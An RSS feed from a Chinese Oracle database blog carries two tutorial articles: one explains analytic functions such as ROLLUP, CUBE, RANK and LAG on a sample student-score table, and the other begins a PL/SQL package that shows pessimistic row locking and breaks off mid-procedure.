﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>BlogJava-【永恒的瞬间】  -文章分类-ORACLE</title><link>http://www.blogjava.net/19851985lili/category/20441.html</link><description>☜GivE mE HapPy ☞




</description><language>zh-cn</language><lastBuildDate>Tue, 15 May 2007 11:54:50 GMT</lastBuildDate><pubDate>Tue, 15 May 2007 11:54:50 GMT</pubDate><ttl>60</ttl><item><title>oracle分析函数 </title><link>http://www.blogjava.net/19851985lili/articles/113616.html</link><dc:creator>☜♥☞MengChuChen</dc:creator><author>☜♥☞MengChuChen</author><pubDate>Wed, 25 Apr 2007 12:46:00 GMT</pubDate><guid>http://www.blogjava.net/19851985lili/articles/113616.html</guid><wfw:comment>http://www.blogjava.net/19851985lili/comments/113616.html</wfw:comment><comments>http://www.blogjava.net/19851985lili/articles/113616.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/19851985lili/comments/commentRss/113616.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/19851985lili/services/trackbacks/113616.html</trackback:ping><description><![CDATA[<font face=Verdana>oracle分析函数</font>
<p><font face="verdana, arial, helvetica" size=2><span class=javascript id=text5068206 style="FONT-SIZE: 12px">zhouwf0726 | 25 七月, 2006 12:51<br><br>oracle分析函数--SQL*PLUS环境<br>--1、GROUP BY子句 <br><br>--CREATE TEST TABLE AND INSERT TEST DATA.<br>create table students<br>(id number(15,0),<br>area varchar2(10),<br>stu_type varchar2(2),<br>score number(20,2));<br><br>insert into students values(1, '111', 'g', 80 );<br>insert into students values(1, '111', 'j', 80 );<br>insert into students values(1, '222', 'g', 89 );<br>insert into students values(1, '222', 'g', 68 );<br>insert into students values(2, '111', 'g', 80 );<br>insert into students values(2, '111', 'j', 70 );<br>insert into students values(2, '222', 'g', 60 );<br>insert into students values(2, '222', 'j', 65 );<br>insert into students values(3, '111', 'g', 75 );<br>insert into students values(3, '111', 'j', 58 );<br>insert into students values(3, '222', 'g', 58 );<br>insert into students values(3, '222', 'j', 90 );<br>insert into students values(4, '111', 'g', 89 );<br>insert into students values(4, '111', 'j', 90 );<br>insert into students values(4, '222', 'g', 90 );<br>insert into students values(4, '222', 'j', 89 );<br>commit;<br><br>col score format 999999999999.99<br><br>--A、GROUPING SETS<br><br>select id,area,stu_type,sum(score) score <br>from students<br>group by grouping sets((id,area,stu_type),(id,area),id)<br>order by id,area,stu_type;<br><br>/*--------理解grouping sets<br>select a, b, c, sum( d ) from t<br>group by grouping sets ( a, b, c )<br><br>等效于<br><br>select * from (<br>select a, null, null, sum( d ) from t group by a<br>union all<br>select null, b, null, sum( d ) from t group by b <br>union all<br>select null, null, c, sum( d ) from t group by c <br>)<br>*/<br><br>--B、ROLLUP<br><br>select id,area,stu_type,sum(score) score <br>from students<br>group by rollup(id,area,stu_type)<br>order by id,area,stu_type;<br><br>/*--------理解rollup<br>select a, b, c, sum( d )<br>from t<br>group by rollup(a, b, c);<br><br>等效于<br><br>select * from (<br>select a, b, c, sum( d ) from t group by a, b, c <br>union all<br>select a, b, null, sum( d ) from t group by a, b<br>union all<br>select a, null, null, sum( d ) from t group by a<br>union all<br>select null, null, null, sum( d ) from t<br>)<br>*/<br><br>--C、CUBE<br><br>select id,area,stu_type,sum(score) score <br>from students<br>group by cube(id,area,stu_type)<br>order by id,area,stu_type;<br><br>/*--------理解cube<br>select a, b, c, sum( d ) from t<br>group by cube( a, b, c)<br><br>等效于<br><br>select a, b, c, sum( d ) from t<br>group by grouping sets( <br>( a, b, c ), <br>( a, b ), ( a ), ( b, c ), <br>( b ), ( a, c ), ( c ), <br>() )<br>*/<br><br>--D、GROUPING<br><br>/*从上面的结果中我们很容易发现,每个统计数据所对应的行都会出现null,<br>如何来区分到底是根据那个字段做的汇总呢,grouping函数判断是否合计列!*/<br><br>select decode(grouping(id),1,'all id',id) id,<br>decode(grouping(area),1,'all area',to_char(area)) area,<br>decode(grouping(stu_type),1,'all_stu_type',stu_type) stu_type,<br>sum(score) score<br>from students<br>group by cube(id,area,stu_type)<br>order by id,area,stu_type; <br><br>--2、OVER()函数的使用<br>--1、RANK()、DENSE_RANK() 的、ROW_NUMBER()、CUME_DIST()、MAX()、AVG()<br><br>break on id skip 1<br>select id,area,score from students order by id,area,score desc;<br><br>select id,rank() over(partition by id order by score desc) rk,score from students;<br><br>--允许并列名次、名次不间断<br>select id,dense_rank() over(partition by id order by score desc) rk,score from students;<br><br>--即使SCORE相同，ROW_NUMBER()结果也是不同<br>select id,row_number() over(partition by ID order by SCORE desc) rn,score from students;<br><br>select cume_dist() over(order by id) a, --该组最大row_number/所有记录row_number <br>row_number() over (order by id) rn,id,area,score from students;<br><br>select id,max(score) over(partition by id order by score desc) as mx,score from students;<br><br>select id,area,avg(score) over(partition by id order by area) as avg,score from students; --注意有无order by的区别<br><br>--按照ID求AVG<br>select id,avg(score) over(partition by id order by score desc rows between unbounded preceding <br>and unbounded following ) as ag,score from students;<br><br><br>--2、SUM()<br><br>select id,area,score from students order by id,area,score desc;<br><br>select id,area,score,<br>sum(score) over (order by id,area) 连续求和, --按照OVER后边内容汇总求和<br>sum(score) over () 总和, -- 此处sum(score) over () 等同于sum(score)<br>100*round(score/sum(score) over (),4) "份额(%)"<br>from students;<br><br>select id,area,score,<br>sum(score) over (partition by id order by area ) 连id续求和, --按照id内容汇总求和<br>sum(score) over (partition by id) id总和, --各id的分数总和<br>100*round(score/sum(score) over (partition by id),4) "id份额(%)",<br>sum(score) over () 总和, -- 此处sum(score) over () 等同于sum(score)<br>100*round(score/sum(score) over (),4) "份额(%)"<br>from students;<br><br>--4、LAG(COL,n,default)、LEAD(OL,n,default) --取前后边N条数据<br><br>select id,lag(score,1,0) over(order by id) lg,score from students;<br><br>select id,lead(score,1,0) over(order by id) lg,score from students;<br><br>--5、FIRST_VALUE()、LAST_VALUE()<br><br>select id,first_value(score) over(order by id) fv,score from students;<br><br>select id,last_value(score) over(order by id) fv,score from students;<br></span></font></p>
<img src ="http://www.blogjava.net/19851985lili/aggbug/113616.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/19851985lili/" target="_blank">☜♥☞MengChuChen</a> 2007-04-25 20:46 <a href="http://www.blogjava.net/19851985lili/articles/113616.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Oracle悲观封锁和乐观封锁在比较 </title><link>http://www.blogjava.net/19851985lili/articles/113615.html</link><dc:creator>☜♥☞MengChuChen</dc:creator><author>☜♥☞MengChuChen</author><pubDate>Wed, 25 Apr 2007 12:42:00 GMT</pubDate><guid>http://www.blogjava.net/19851985lili/articles/113615.html</guid><wfw:comment>http://www.blogjava.net/19851985lili/comments/113615.html</wfw:comment><comments>http://www.blogjava.net/19851985lili/articles/113615.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/19851985lili/comments/commentRss/113615.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/19851985lili/services/trackbacks/113615.html</trackback:ping><description><![CDATA[<p><font face="verdana, arial, helvetica" size=2><span class=javascript id=text7335886 style="FONT-SIZE: 12px">在Php格式中,冒号被转义了,应该在的有的old和new前加冒号,以示更加清晰.<br><font color=red><br>--oracle悲观封锁应用示例(以下包是研究Oracle的11i后模拟的)：<br>--ttx_tmp.sql<br></font><br></font>
<blockquote>
<pre><font size=2><font face=verdana,arial,helvetica>代码:</font><hr></font><code><font color=#000000>
<font color=#0000bb><br>create </font><font color=#007700>or </font><font color=#0000bb>replace package ttx_temp_pkg is
<br>&nbsp;&nbsp;g_ok varchar2</font><font color=#007700>(</font><font color=#0000bb>2</font><font color=#007700>) := </font><font color=#dd0000>'OK'</font><font color=#007700>;&nbsp;&nbsp;&nbsp;&nbsp;
<br>&nbsp;&nbsp;</font><font color=#0000bb>g_changed varchar2</font><font color=#007700>(</font><font color=#0000bb>21</font><font color=#007700>) :=</font><font color=#dd0000>'CHANGED BY OTHER USER'</font><font color=#007700>;
<br>&nbsp;&nbsp;</font><font color=#0000bb>g_no_row varchar2</font><font color=#007700>(</font><font color=#0000bb>14</font><font color=#007700>) := </font><font color=#dd0000>'NO ROW UPDATED'</font><font color=#007700>;
<br>&nbsp;&nbsp;
<br>&nbsp;&nbsp;</font><font color=#0000bb>procedure lock_row
<br>&nbsp;&nbsp;</font><font color=#007700>(
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>x_message&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;out nocopy varchar2</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_id&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;in number</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_owner&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;in varchar2</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_object_name&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;in varchar2</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_subobject_name&nbsp;&nbsp;in varchar2</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_object_id&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;in number</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_data_object_id&nbsp;&nbsp;in number</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_object_type&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;in varchar2</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_created&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;in date</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_last_ddl_time&nbsp;&nbsp;&nbsp;in date</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_timestamp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;in varchar2</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_status&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;in varchar2</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_temporary&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;in varchar2</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_generated&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;in varchar2</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_secondary&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;in varchar2
<br>&nbsp;&nbsp;</font><font color=#007700>);
<br>&nbsp;&nbsp;
<br>&nbsp;&nbsp;</font><font color=#0000bb>procedure update_row
<br>&nbsp;&nbsp;</font><font color=#007700>(
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>x_message&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;out nocopy varchar2</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_id&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;in number</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_owner&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;in varchar2</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_object_name&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;in varchar2</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_subobject_name&nbsp;&nbsp;in varchar2</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_object_id&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;in number</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_data_object_id&nbsp;&nbsp;in number</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_object_type&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;in varchar2</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_created&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;in date</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_last_ddl_time&nbsp;&nbsp;&nbsp;in date</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_timestamp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;in varchar2</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_status&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;in varchar2</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_temporary&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;in varchar2</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_generated&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;in varchar2</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_secondary&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;in varchar2&nbsp;&nbsp;
<br>&nbsp;&nbsp;</font><font color=#007700>);
<br>&nbsp;&nbsp;
<br>&nbsp;&nbsp;</font><font color=#0000bb>procedure delete_row
<br>&nbsp;&nbsp;</font><font color=#007700>(
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_id in number</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>x_message out nocopy varchar2
<br>&nbsp;&nbsp;</font><font color=#007700>);
<br>
<br></font><font color=#0000bb>end ttx_temp_pkg</font><font color=#007700>;
<br>/
<br>
<br></font><font color=#0000bb>create </font><font color=#007700>or </font><font color=#0000bb>replace package body ttx_temp_pkg is
<br>
<br>&nbsp;&nbsp;procedure lock_row
<br>&nbsp;&nbsp;</font><font color=#007700>(
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>x_message&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;out nocopy varchar2</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_id&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;in number</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_owner&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;in varchar2</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_object_name&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;in varchar2</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_subobject_name&nbsp;&nbsp;in varchar2</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_object_id&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;in number</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_data_object_id&nbsp;&nbsp;in number</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_object_type&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;in varchar2</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_created&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;in date</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_last_ddl_time&nbsp;&nbsp;&nbsp;in date</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_timestamp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;in varchar2</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_status&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;in varchar2</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_temporary&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;in varchar2</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_generated&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;in varchar2</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>p_secondary&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;in varchar2
<br>&nbsp;&nbsp;</font><font color=#007700>) </font><font color=#0000bb>is
<br>&nbsp;&nbsp;&nbsp;&nbsp;cursor cur_ttx_temp is
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;select
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;id</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>owner</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>object_name</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>subobject_name</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>object_id</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>data_object_id</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>object_type</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>created</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>last_ddl_time</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>timestamp</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>status</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>temporary</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>generated</font><font color=#007700>,
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>secondary
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;from ttx_temp
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;where id </font><font color=#007700>= </font><font color=#0000bb>p_id
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#007700>for </font><font color=#0000bb>update nowait</font><font color=#007700>;
<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>ctt cur_ttx_temp</font><font color=#007700>%</font><font color=#0000bb>rowtype</font><font color=#007700>;&nbsp;&nbsp;
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<br>&nbsp;&nbsp;</font><font color=#0000bb>begin
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;open cur_ttx_temp</font><font color=#007700>;
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font color=#0000bb>fetch cur_ttx_temp into ctt</font><font color=#007700>;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if ((</font><font color=#0000bb>ctt</font><font color=#007700>.</font><font color=#0000bb>owner</font><font color=#007700>=</font><font color=#0000bb>p_owner</font><font color=#007700>) or
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(</font><font color=#0000bb>ctt</font><font color=#007700>.</font><font color=#0000bb>owner is null </font><font color=#007700>and </font><font color=#0000bb>p_owner is null</font><font color=#007700>))
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;and ((</font><font color=#0000bb>ctt</font><font color=#007700>.</font><font color=#0000bb>object_name</font><font color=#007700>=</font><font color=#0000bb>p_object_name</font><font color=#007700>) or
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(</font><font color=#0000bb>ctt</font><font color=#007700>.</font><font color=#0000bb>object_name is null </font><font color=#007700>and </font><font color=#0000bb>p_object_name is null</font><font color=#007700>))
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;and ((</font><font color=#0000bb>ctt</font><font color=#007700>.</font><font color=#0000bb>subobject_name</font><font color=#007700>=</font><font color=#0000bb>p_subobject_name</font><font color=#007700>) or
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(</font><font color=#0000bb>ctt</font><font color=#007700>.</font><font color=#0000bb>subobject_name is null </font><font color=#007700>and </font><font color=#0000bb>p_subobject_name is null</font><font color=#007700>))
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;and ((</font><font color=#0000bb>ctt</font><font color=#007700>.</font><font color=#0000bb>object_id</font><font color=#007700>=</font><font color=#0000bb>p_object_id</font><font color=#007700>) or
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(</font><font color=#0000bb>ctt</font><font color=#007700>.</font><font color=#0000bb>object_id is null </font><font color=#007700>and </font><font color=#0000bb>p_object_id is null</font><font color=#007700>))
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;and ((</font><font color=#0000bb>ctt</font><font color=#007700>.</font><font color=#0000bb>data_object_id</font><font color=#007700>=</font><font color=#0000bb>p_data_object_id</font><font color=#007700>) or
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(</font><font color=#0000bb>ctt</font><font color=#007700>.</font><font color=#0000bb>data_object_id is null&nbsp;&nbsp;</font><font color=#007700>and </font><font color=#0000bb>p_data_object_id is null</font><font color=#007700>))
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;and ((</font><font color=#0000bb>ctt</font><font color=#007700>.</font><font color=#0000bb>object_type</font><font color=#007700>=</font><font color=#0000bb>p_object_type</font><font color=#007700>) or
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(</font><font color=#0000bb>ctt</font><font color=#007700>.</font><font color=#0000bb>object_type is null </font><font color=#007700>and </font><font color=#0000bb>p_object_type is null</font><font color=#007700>))
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;and ((</font><font color=#0000bb>ctt</font><font color=#007700>.</font><font color=#0000bb>created</font><font color=#007700>=</font><font color=#0000bb>p_created</font><font color=#007700>) or
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(</font><font color=#0000bb>ctt</font><font color=#007700>.</font><font color=#0000bb>created is null </font><font color=#007700>and </font><font color=#0000bb>p_created is null</font><font color=#007700>))
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;and ((</font><font color=#0000bb>ctt</font><font color=#007700>.</font><font color=#0000bb>last_ddl_time</font><font color=#007700>=</font><font color=#0000bb>p_last_ddl_time</font><font color=#007700>) or
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(</font><font color=#0000bb>ctt</font><font color=#007700>.</font><font color=#0000bb>last_ddl_time is null </font><font color=#007700>and </font><font color=#0000bb>p_last_ddl_time is null</font><font color=#007700>))
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;and ((</font><font color=#0000bb>ctt</font><font color=#007700>.</font><font color=#0000bb>timestamp</font><font color=#007700>=</font><font color=#0000bb>p_timestamp</font><font color=#007700>) or
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(</font><font color=#0000bb>ctt</font><font color=#007700>.</font><font color=#0000bb>timestamp is null </font><font color=#007700>and </font><font color=#0000bb>p_timestamp is null</font><font color=#007700>))
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;and ((</font><font color=#0000bb>ctt</font><font color=#007700>.</font><font color=#0000bb>status</font><font color=#007700>=</font><font color=#0000bb>p_status</font><font color=#007700>) or
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(</font><font color=#0000bb>ctt</font><font color=#007700>.</font><font color=#0000bb>status is null </font><font color=#007700>and </font><font color=#0000bb>p_status is null</font><font color=#007700>))
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;and ((</font><font color=#0000bb>ctt</font><font color=#007700>.</font><font color=#0000bb>temporary</font><font color=#007700>=</font><font color=#0000bb>p_temporary</font><font color=#007700>) or
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(</font><font color=#0000bb>ctt</font><font color=#007700>.</font><font color=#0000bb>temporary is null </font><font color=#007700>and </font><font color=#0000bb>p_temporary is null</font><font color=#007700>))
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;and ((</font><font color=#0000bb>ctt</font><font color=#007700>.</font><font color=#0000bb>generated</font><font color=#007700>=</font><font color=#0000bb>p_generated</font><font color=#007700>) or
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(</font><font color=#0000bb>ctt</font><font color=#007700>.</font><font color=#0000bb>generated is null </font><font color=#007700>and </font><font color=#0000bb>p_generated is null</font><font color=#007700>))
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;and ((</font><font color=#0000bb>ctt</font><font color=#007700>.</font><font color=#0000bb>secondary</font><font color=#007700>=</font><font color=#0000bb>p_secondary</font><font color=#007700>) or
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(</font><font color=#0000bb>ctt</font><font color=#007700>.</font><font color=#0000bb>secondary is null </font><font color=#007700>and </font><font color=#0000bb>p_secondary is null</font><font color=#007700>)) </font><font color=#0000bb>then&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
